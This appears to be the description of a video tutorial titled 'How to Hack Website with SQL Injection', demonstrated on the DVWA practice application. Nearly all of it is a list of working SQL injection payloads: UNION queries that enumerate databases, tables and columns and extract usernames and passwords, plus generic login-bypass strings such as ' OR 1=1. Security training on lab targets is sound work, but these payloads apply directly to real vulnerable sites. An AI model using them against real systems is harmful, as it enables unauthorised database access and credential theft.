What is SQL Injection - How to Hack Website with SQL Injection

This video will demonstrate that what is SQL Injection and How SQL Injection can be used to Hack a Website. Bypass Login with SQL Injection and Retrieve data from Database using SQL Injection.
Tools Used in Demonstration:
1. DVWA: https://dvwa.co.uk/

Payloads Used in Demonstration:

Basic Payload
' union select 1,2 --

Get Database Name
' union select database(),2 --

Get Username
' union select user(),null --

Get Databases
' union select distinct table_schema, null from information_schema.tables--

Get Tables:
' union select null, TABLE_NAME from information_schema.tables where table_schema='DATABASE_NAME'--
Example:
' union select null, TABLE_NAME from information_schema.tables where table_schema='dvwa'--

Get COLUMNS
' union select null, COLUMN_NAME from information_schema.COLUMNS where table_schema='DATABASE_NAME' AND TABLE_NAME='TABLE_NAME'--
Example:
' union select null, COLUMN_NAME from information_schema.COLUMNS where table_schema='dvwa' AND TABLE_NAME='users'--

Get Data from tables
' union select username, password from DATABASE_NAME.TABLE_NAME --
Example:
' union select username, password from dvwa.users --


Generic Payloads:
'
"
''
`
``
,
""
/
//
\
\\
;
' or "
-- or #
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%00
/*…*/

SQL Injection Cheat Sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

#AK #KHANSGROUP #LEARNWITHAK #SQLINJECTION